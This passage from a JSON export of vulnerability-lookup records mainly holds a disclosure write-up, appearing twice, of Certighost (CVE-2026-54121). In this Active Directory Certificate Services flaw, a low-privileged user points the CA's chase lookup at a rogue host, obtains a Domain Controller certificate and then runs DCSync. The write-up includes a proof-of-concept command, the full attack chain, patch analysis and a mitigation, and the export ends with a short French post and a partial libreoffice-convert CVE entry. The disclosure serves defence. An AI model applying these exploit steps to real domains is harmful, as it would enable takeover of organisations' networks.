merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-25T04:02:13.396749Z"}, {"uuid": "2613bfe0-a0bf-40b5-b845-d5391362fec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/hypnguyen1209/bc10961736cb6f26c4607111110f156b", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-25T05:58:50.309617Z"}, {"uuid": "930d9c49-8068-4b33-a4ac-a2cfa1775e15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/it-connect.bsky.social/post/3mrhcafy5422d", "content": "Certighost (CVE-2026-54121) : un compte du domaine, sans droit admin ni interaction.\n\n\u00c7a suffit pour usurper un contr\u00f4leur de domaine via AD CS et d\u00e9rouler un DCSync jusqu'au krbtgt.\n\nPatch\u00e9 le 14/07, exploit public depuis le 24/07 \ud83d\udc47\nwww.it-connect.fr/certighost-c...\n#activedirectory", "creation_timestamp": "2026-07-25T07:00:53.758019Z"}, {"uuid": "fd204047-ecc9-4d98-8082-58411dac3b44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54732", "type": "seen", "source": "https://gist.github.com/alon710/795619632fe9ba16f51e5c93358e8801", "content": "# CVE-2026-54732: CVE-2026-54732: Arbitrary File Write via Path Traversal in libreoffice-convert\n\n> **CVSS Score:** 6.5\n> **Published:** 2026-08-27\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54732\n\n## Summary\nA path traversal and arbitrary file write vulnerability exists in the libreoffice-convert Node.js package in all versions prior to 1.8.2. The convertWithOptions function fails to validate or sanitize the caller-controlled options.fileName parameter, allowing directory traversal sequences to write files outside the temporary directory.\n\n## TL;DR\nUnsanitized input in options.fileName allows attackers to perform directory traversal and write arbitrary files anywhere on the host filesystem that the Node.js process can write to, which can lead to remote code execution.\n\n## Technical Details\n\n- **CWE ID**: CWE-22\n- **Attack Vector**: Network\n- **CVSS Score**: 6.5\n- **Integrity Impact**: High\n- **Exploit Status**: none\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- libreoffice-convert < 1.8.2\n- **libreoffice-convert**: < 1.8.2 (Fixed in: `1.8.2`)\n\n## Mitigation\n\n- Upgrade to libreoffice-convert version 1.8.2 or later to apply the 